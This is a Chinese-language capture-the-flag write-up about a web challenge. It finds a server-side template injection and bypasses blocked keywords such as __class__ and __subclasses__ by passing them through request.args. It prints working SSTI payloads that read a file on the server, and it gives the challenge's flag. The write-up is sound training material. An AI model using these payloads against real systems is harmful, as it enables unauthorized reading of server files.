1.?題目描述
打開鏈接,如圖
點擊Login和Rigister,都報錯
但是有提示
指出了flag所在的位置,題目中直接能獲取到的信息暫時就這么些了
2.?思路分析
既然告訴了我們flag文件的位置,那么要讀取到這個文件,要么是任意文件下載,要么是命令注入。這里沒有文件下載的接口,也沒看到有任何外部輸入,嘗試掃描下:
發現存在/cgi-sys相關的借口,但是訪問時發現報錯:
說明此路不通。
網上查找資料發現題目中圖片就給出了提示,可能是SSTI,試一下:
發現確實存在SSTI,那么這道題的思路就明確了:
利用SSTI讀取flag文件中的內容
3.?解題過程
既然存在SSTI,我們試試常用的SSTI方法
試了下class,subclass,mro,常用方法都被過濾掉了,看能否找到一個沒有被過濾的
request沒過濾,那么我們考慮通過request.args的方式進行繞過,將class等被過濾的字符串設置成參數,傳遞給request.args,比如想要獲取class,使用{{""[request.args.a]}}?a=__class__
那么我們現在需要讀取文件/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
正常的SSTI應該是:
{{"".__class__.__mro__[2].__subclasses__[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}
利用request.args進行繞過就變成了:
{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
使用該請求,成功獲取flag
flag為cyberpeace{24bc59019e22a893305a7496e638526f}
4.?總結
這道題考查的是SSTI的繞過(這個考查點的識別需要一定的知識積累)。SSTI也是非常靈活的一種注入方式,繞過方式很多,request算是常見的一種繞過手段,正好積累下經驗